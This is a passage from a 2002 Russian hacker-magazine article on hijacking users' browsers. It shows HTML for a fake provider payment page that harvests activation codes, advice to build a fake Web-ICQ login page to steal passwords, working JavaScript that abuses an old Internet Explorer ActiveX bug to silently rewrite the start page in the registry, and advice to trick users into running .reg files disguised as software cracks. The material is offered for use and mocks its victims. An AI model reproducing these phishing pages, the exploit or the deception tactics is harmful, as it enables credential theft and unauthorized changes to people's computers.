ВОЕННЫЙ HTTP’ОВЫЙ DNS - Берем контроль над браузером клиента

Спецвыпуск Xakep, номер #029, стр. 029-020-7

<table border=0 width=100%><tr><td>Код активации</td><td><table><tr><td>

<input type=text size=10 maxlength=10 name=csid value=<?php echo $csid; ?>> - </td><td>

<table bgcolor=#A0A0A0><tr><td><INPUT name=uid type=hidden value=main>

 <input type=text size=5 maxlength=5 name=cert1 value=<?php echo $cert1; ?>> - <input type=text size=5 maxlength=5 name=cert2 value=<?php echo $cert2; ?>> - <input type=text size=5 maxlength=5 name=cert3 value=<?php echo $cert3; ?>> - <input type=text size=5 maxlength=5 name=cert4 value=<?php echo $cert4; ?>> </td></tr></table></td></tr></table></td></tr>

</table><center><input type=submit name=do value='Пополнить баланс'>

</center></form>

Здесь идут те самые поля кода активации и субмит формы. В полях мы выводим текущие значения кода активации. Это мы делаем по двум прчинам: первая - так же сделано на РОЛе, вторая - так удобнее всем.

<CENTER><HR WIDTH=70% SIZE=5><BR>Copyright © 2002 TeleRoss</CENTER>

</BODY></HTML>

Здесь закрывается страница.

Ух! Вот и написал. ICQ делается по аналогии с login.php, только поля логина пароля вставляются в обманку главной страницы. Под каким-нибудь заголовком, типа "SUPER, PUPER, NEW, Web-ICQ".

ОСЕЛ 666 И ЕГО ДЫРЫ

Паразит был уже почти готов, когда всплыла одна маленькая деталь: нужно было как-то подсадить заразу.

Самой известной мазой прописаться без спроса в хомяк к юзеру является знаменитый баг четвертого IE. Следующий код позволял писать в реестр, что угодно, например, свой урл в хомяк:

<script>

document.write("<APPLET HIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

function pipetz(){

try{

x=document.applets[0];

x.setCLSID("{F953DC22-1CF0-11D0-ADB9-00C04FD58A0B}");

x.createInstance();

Shl=x.GetObject();

x.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");

try{

Shl.RegWrite("HKCU\\SOFTWARE\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://www.pipets.ru");

}

catch(e){}

}

catch(e){}

}

setTimeout("pipetz()", 1000);

</script>

К сожалению или к счастью, этот баг был успешно пофиксен M$ начиная с IE 5.0, да и антивири успешно делают на этот скрипт свою стойку. Однако воткнуть этот скрипт в подсаживательную пагу, все же, не помешает, так как ламеров, не менявших свой софт со времен царя Гороха, на свете пока еще хоть отбавляй.

ИГРЫ С РЕЕСТРОМ

Вторая маза - это заставить юзверя самолично, своей ламерской рукой прописать себе в реестр нужные нам параметры aka адрес паразита. Ты в курсе, что стоит два раза шлепнуть по reg-файлу, как все его содержание автоматом добавится в реестр, что нам и надо. Юзеры часто пользуют reg-файлы, когда крячат проги. Подсунь ламеру такой файлик, как необходимые изменения для кряка нужной софтины. Сам кряк может быть фейком чистой воды.